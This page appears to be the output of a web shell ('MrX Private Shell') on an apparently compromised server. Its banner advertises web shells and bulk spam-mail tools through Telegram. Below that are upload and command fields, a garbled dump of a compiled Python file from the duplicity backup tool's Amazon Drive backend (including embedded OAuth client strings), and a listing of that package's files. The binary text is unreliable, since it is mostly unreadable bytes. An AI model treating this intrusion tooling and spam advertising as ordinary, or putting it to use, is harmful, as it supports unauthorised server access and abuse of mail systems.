__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�@����SSKrSSKrSSKrSSKrSSKrSSKJr SSKr	SSK	J
r
 SSK	Jr SSKJ
r
 "SS\	RR5r\	RR#S\5 g)	�N)�DEFAULT_BUFFER_SIZE)�config)�log)�BackendExceptionc��\rSrSrSr\RRS5rSr	Sr
SrSS/rS	r
S
rSrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrg)�	ADBackend�$z�
Backend for Amazon Drive. It communicates directly with Amazon Drive using
their RESTful API and does not rely on externally setup software (like
acd_cli).
z~/.duplicity_ad_oauthtoken.jsonzhttps://www.amazon.com/ap/oaz$https://api.amazon.com/auth/o2/tokenz'https://breunig.xyz/duplicity/copy.htmlzclouddrive:read_otherzclouddrive:writez=amzn1.application-oa2-client.791c9c2d78444e85a32eb66f92eb6bcc�@5b322c6a37b25f16d848a6a556eddcc30314fc46ae65c87068ff1bc4588d715b�CDuplicityFormBoundaryd66364f7f8924f7e9d478e19cf4b871d114a1e00262542c��[RRRX5 SUlSUl0UlSUlURRS5Ul
[RS:�a[R"S5 SSKqSSKJq UR)5 UR+5 g![$a ['S5ef=f)	Nz%https://drive.amazonaws.com/drive/v1/z/https://content-na.drive.amazonaws.com/cdproxy/�/l
zxYour --volsize is bigger than 10 GiB, which is the maximum file size on Amazon Drive that does not require work arounds.r)�
OAuth2Sessiona
Amazon Drive backend requires python-requests and python-requests-oauthlib to be installed.

For Debian and derivates use:
  apt-get install python-requests python-requests-oauthlib
For Fedora and derivates use:
  yum install python-requests python-requests-oauthlib)�	duplicity�backend�Backend�__init__�metadata_url�content_url�names_to_ids�backup_target_id�path�lstrip�
backup_targetr�volsizer�
FatalError�requests�requests_oauthlibr�ImportErrorr�initialize_oauth2_session�resolve_backup_target)�self�
parsed_urls  �>/usr/lib/python3/dist-packages/duplicity/backends/adbackend.pyr�ADBackend.__init__:s������!�!�*�*�4�<�C���L������ $���'�_�_�3�3�C�8����>�>�4�5�
�N�N�P�
�

	�
�7�	
�&�&�(��"�"�$���	�"�I��
�	�s�
B<�<Cc
��^�U4SjnSn[TR5n[R"U5nSSS5 [TRTRTRUTRTRS.TRUS9Tl
Ub%TRRTR5 TRRTR S-5nUR"[$R&R(:waSnUGcV[*R,R/5(a#[*R0R/5(d$[
R2"STRS	35 TRR5TR65upg[9S
5 [9S5 [9U5 [9S
5 [;S5R=S
SS5R?5nTRRATRTRUS9nTRRTR S-5nURC5 U"U5 UR5n	SU	;dSU	;a[
R2"S5 U	STlU	STl"g!,(df   GN}=f![a%n[
R"SUS35 SnAGN�SnAff=f)z1Setup or refresh oauth2 session with Amazon Drivec�>�[TRS5n[R"X5 SSS5 g!,(df   g=f![a0n[
R"STRSU35 SnAgSnAff=f)zStores oauth2 token on disk�wNz#Could not save the OAuth2 token to z]. This means you may need to do the OAuth2 authorization process again soon. Original error: )�open�OAUTH_TOKEN_PATH�json�dump�	Exceptionr�Error)�token�f�errr!s   �r#�
token_updater�:ADBackend.initialize_oauth2_session.<locals>.token_updaterasp���
��$�/�/��5���I�I�e�'�6�5�5���
��	�	�9�$�:O�:O�9P�Q'�'*�e�-����
�s1�A
�9�A
�
A�A
�A
�

B�&A?�?BNzJCould not load OAuth2 token. Trying to create a new one. (original error: �))�	client_id�
client_secret)�scope�redirect_urir.�auto_refresh_kwargs�auto_refresh_urlr1zaccount/endpointz*The OAuth2 token could not be loaded from zc and you are not running duplicity interactively, so duplicity cannot possibly access Amazon Drive.�z�In order to allow duplicity to access Amazon Drive, please open the following URL in a browser and copy the URL of the page you see after authorization here:zURL of the resulting page: zhttp://zhttps://�)r5�authorization_response�metadataUrl�
contentUrlz1Could not retrieve endpoint URLs for this account)#r(r)r*�load�IOErrorr�Noticer�	CLIENT_ID�OAUTH_SCOPE�OAUTH_REDIRECT_URL�
CLIENT_SECRET�OAUTH_TOKEN_URL�http_client�
refresh_token�getr�status_coder�codes�ok�sys�stdout�isatty�stdinr�authorization_url�OAUTH_AUTHORIZE_URL�print�input�replace�strip�fetch_token�raise_for_statusr)
r!r1r.r/r0�endpoints_responserQ�_�
redirected_to�urlss
`         r#r�#ADBackend.initialize_oauth2_session^s����
	���	l��d�+�+�,���	�	�!���-�
)��N�N��"�"��0�0��!�^�^�!%�!3�!3�!�"�1�1�'�
��������*�*�4�+?�+?�@�!�-�-�1�1�$�2C�2C�FX�2X�Y���)�)�X�^�^�->�->�>��E��=��:�:�$�$�&�&�c�i�i�.>�.>�.@�.@����@��AV�AV�@W�X;�<��
$(�#3�#3�#E�#E�d�F^�F^�#_� ���"�I��9�
�

�#�$��"�I�"�#@�A�I�I�)�U_�ab�c�j�j�l�M��$�$�0�0��$�$�"�0�0�'4�1��E�"&�!1�!1�!5�!5�d�6G�6G�J\�6\�!]���/�/�1��%� �!�&�&�(����$��D�(@��N�N�N�O� ��/�����-���w-�,���	l��J�J�c�dg�ch�hi�j�k�k��	l�s3�J?�J-�J?�-
J<�7J?�<J?�?
K.�	K)�)K.c�(�URRURS-5nUR5SSSnURRS5Vs/sH
o3(dMUPM snH�n[R"SU5RS5nXE:waUS-nURURSUS	U3-5nUVs/sHowRS
5U:XdMUPM nn[U5S:�a[R"SUS
U35 M�[U5S:Xa
USSnM�[R"SUS35 URX$5nM� [R"SU35 X lgs snfs snf)z/Resolve node id for remote backup target folderz)nodes?filters=kind:FOLDER AND isRoot:true�datar�idr
z^[A-Za-z0-9_-]*�*z#nodes?filters=kind:FOLDER AND name:z
 AND parents:�name�zJThere are multiple folders with the same name below one parent.
ParentID: z
FolderName: r;zFolder z does not exist yet. Creating.zBackup target folder has id: N)rGrIrr*r�split�re�search�group�read_all_pages�lenrr�Debug�mkdirr)	r!�response�parent_node_id�x�	component�query�matchesr/�
candidatess	         r#r �ADBackend.resolve_backup_target�s����#�#�'�'��(9�(9�<g�(g�h��!�����0��3�D�9��%)�%7�%7�%=�%=�c�%B�H�%B��a�!�%B�H�I��I�I�/��;�A�A�!�D�E��!������)�)��!�!�&I�%��P]�^l�]m�$n�n��G�&-�K�W����f�
��0J�!�W�J�K��:��!�#����!�!/� 0��y�k�K���Z��A�%�!+�A��t�!4���	�	�G�I�;�.L�M�N�!%���N�!F��+I�.	�	�	�1�.�1A�B�C� .���1I��Ls�
F
�-F
�F�-Fc�v�XR;aUR5 URRU5$)z.Find id of remote file in backup target folder)r�_listrI�r!�remote_filenames  r#�get_file_id�ADBackend.get_file_id�s0���"3�"3�3��J�J�L�� � �$�$�_�5�5�c���X!/SS.nURRURS-[R"U5S9nUR5 UR5S$)z/Create a new folder as a child of a parent node�FOLDER)rb�parents�kind�nodes)r_r`)rG�postrr*�dumpsrX)r!rm�folder_namer_rls     r#rk�ADBackend.mkdir�s^��$�0@�(�S���#�#�(�(��):�):�W�)D�4�:�:�VZ�K[�(�\���!�!�#��}�}��t�$�$rzc#�# �URn[RSUS3[R"U5S3-SUS3-5v� Sv� Sv� UR5nUR
[5nU(aUv� OOM$SSS5 [RSUS3S	U3-5v� g!,(df   N0=f7f)
z>Generator for multipart/form-data file upload from source filez--z5
Content-Disposition: form-data; name="metadata"

z
sKContent-Disposition: form-data; name="content"; filename="i_love_backups"
s*Content-Type: application/octet-stream

Nz
--z--
�multipart/form-data; boundary=)�MULTIPART_BOUNDARY�str�encoder*r�r(�readr)r!�metadata�source_path�boundary�streamr/s      r#�multipart_stream�ADBackend.multipart_stream�s�����*�*���j�j���
�U�V����H�%�&�d�+�
,��8�*�D�!�
"�
�	
�
_�^�?�?�
�
�
�
�6���K�K� 3�4����G��� ��j�j�6�(��6�2�7U�V^�U_�5`�`�a�a� �
�s�A!C�#&B3�	*C�3
C�=Cc��/nSnSU;aSOSnX-U-nURRU5nURS:wa[SURSU35eUR	5nSU;a'[US5S	:�aUR
US5 OU$[U5US
:�aU$SU;aU$USnM�)z5Iterates over nodes API URL until all pages were readr:�?z&startToken=z?startToken=��zPagination failed with status=z on URL=r_r�count�	nextToken)rGrIrJrr*ri�extend)r!�url�result�
next_token�token_param�
paginated_urlrl�parseds        r#rh�ADBackend.read_all_pages�s������
�(+�s�
�n�����-�
�:�M��'�'�+�+�M�:�H��#�#�s�*�&�)G��H\�H\�G]�]e�fi�ej�'k�l�l��]�]�_�F����C��v��$7�!�$;��
�
�f�V�n�-���
��6�{�f�W�o�-���
�	�&�(���
� ��,�J�%rzc�B�URU5 [SUS35e)z@Report error when file already existed in location and delete itz>Upload failed, because there was a file with the same name as zt already present. The file was deleted, and duplicity will retry the upload unless the retry limit has been reached.)�_deleterrvs  r#�raise_for_existing_file�!ADBackend.raise_for_existing_files0��	
���_�%��L�_�L]�^7�
8�
�	
rzc
�D�URRURS-5nUR5 UR	5Sn[
RRUR5nXT:�a1[SURS[U5S[U5S35eX R;a+[R"SUS35 URU5 US	UR/S
.nSSUR 30nUR#Xa5nURR%UR&S
-UUS9n	U	R(S:XaUR+U5 GO�U	R(S:Xa[R"US35 GOXU	R(S:XdU	R(S:XGa[R,"US[U	R(5S[[.R05S35 [.R0S-n
U
S:�a�U
S-n
[2R4"S5 UR7U5SnX[:Xa[R"S5 gUS:Xa([R"S[U
S-5S35 MUR+U5 U
S:�aM�[US 35e[R"US!U	R(35 U	R5 U	R	5nS"U;a[US#U35eUS"URUS$'g)%z#Upload a local file to Amazon Drivez
account/quota�	availablezOut of space: trying to store "z" (z bytes), but only z! bytes available on Amazon Drive.zFile zW seems to already exist on Amazon Drive. Deleting before attempting to upload it again.�FILE)rbr~r}zContent-Typer�znodes?suppress=deduplication)r_�headersi���z uploaded successfullyi�i�z( upload failed with timeout status code=z. Speculatively waiting for z: seconds to see if Amazon Drive finished the upload anyway�rr;�sizez-Upload turned out to be successful after all.N���z Uploaded file is not yet there, z tries left.z: upload failed and file did not show up within time limit.z, upload returned an undesirable status code r`zR was uploaded but returned JSON does not contain ID of new file. Retrying.
JSON:

rb)rGrIrrXr*�osr�getsizerbr�intrrrjr�rr�r�r�rrJr��Infor�timeout�time�sleep�_query)
r!r�rw�quotar��source_sizer�r�r_rl�tries�remote_sizer�s
             r#�_put�ADBackend._puts��� � �$�$�T�%6�%6��%H�I��
��� ��J�J�L��-�	��g�g�o�o�k�&6�&6�7���"�"�1�+�2B�2B�1C�3�s�;�GW�FX�Y��	�N�+�+L�N��
��/�/�/��I�I���(�)A�B�
�
�L�L��)�$���-�-�.�
��
"�%C�D�D[�D[�C\�#]�^���$�$�X�;���#�#�(�(����=�=���)�
�����3�&��(�(��9�
�
!�
!�S�
(��I�I��)�)?�@�A�
�
!�
!�S�
(�H�,@�,@�C�,G��H�H�"�#�#K�C�PX�Pd�Pd�Le�Kf�g-�-0����-@�,A�B-�.�
�
�N�N�R�'�E��1�*���
���
�
�2��"�k�k�/�:�6�B���-��I�I�M�N�� �B�&��I�I� @��U�Q�Y��@P�P\�]�^���0�0��A��1�*�#�o�%6�6p�#q�r�r��I�I��)�)U�V^�Vj�Vj�Uk�l�m��%�%�'�������v��"�"�#�$'�'-�h�0��
�-3�4�L����&��.�)rzc��URS5nURU5nUc[SUS35eURR	UR
S-U-S-SS9nUR
5 UR[S	9HnU(dMURU5 M UR5 SSS5 g!,(df   g=f)
zDownload file from Amazon Drive�wbN�File "z)" cannot be downloaded: it does not existz/nodes/z/contentT)r�)�
chunk_size)r(rxrrGrIrrX�iter_contentr�write�flush)r!rw�
local_path�
local_file�file_idrl�chunks       r#�_get�ADBackend._getis����_�_�T�
"�j��&�&��7�G���&���/@�@i�'j�k�k��'�'�+�+�D�,<�,<�y�,H�7�,R�U_�,_�hl�+�m�H��%�%�'�!�.�.�:M�.�N���5��$�$�U�+�O�
����#�
"�
"�s�A<C�%C�
Cc���URU5nUcSS0$URRURS-U-5nUR	5 SUR5SS0$)z)Retrieve file size info from Amazon Driver�r��nodes/�contentProperties)rxrGrIrrXr*�r!rwr�rls    r#r��ADBackend._queryxsq���"�"�?�3���?��B�<���#�#�'�'��(9�(9�H�(D�w�(N�O���!�!�#���
�
��(;�<�V�D�E�Erzc���URURS-UR-S-5nUVs0sHo"SUS_M
 snUl[	URR55$s snf)z(List files in Amazon Drive backup folderr�z/children?filters=kind:FILErbr`)rhrrr�list�keys)r!�filesr/s   r#ru�ADBackend._list�sw���#�#�����(�4�+@�+@�@�C`�`�
��:?�?��A�v�Y��$��/��?����D�%�%�*�*�,�-�-��@s�A0c���URU5nUc[SUS35eURRURS-U-5nUR5 URU	g)zDelete file from Amazon DriveNr�z&" cannot be deleted: it does not existztrash/)rxrrG�putrrXrr�s    r#r��ADBackend._delete�so���"�"�?�3���?�"�V�O�+<�<b�#c�d�d��#�#�'�'��(9�(9�H�(D�w�(N�O���!�!�#����o�.rz)rrrrGrrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�r�
expanduserr)rRrFrDrCrBrEr�rrr rxrkr�rhr�r�r�r�rur��__static_attributes__�rzr#rr$s�����w�w�)�)�*K�L��8��<�O�C��*�,>�?�K�O�I�V�M�^��"%�HL.�\/�@6�%�b�.�:
�M9�^
�	F�	.�/rzr�ad)r*�os.pathr�rerMr��ior�duplicity.backendrrr�duplicity.errorsrrrr�register_backendr�rzr#�<module>r�sX��.��	�
��"����-�r/�	�!�!�)�)�r/�j
���"�"�4��3rz

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager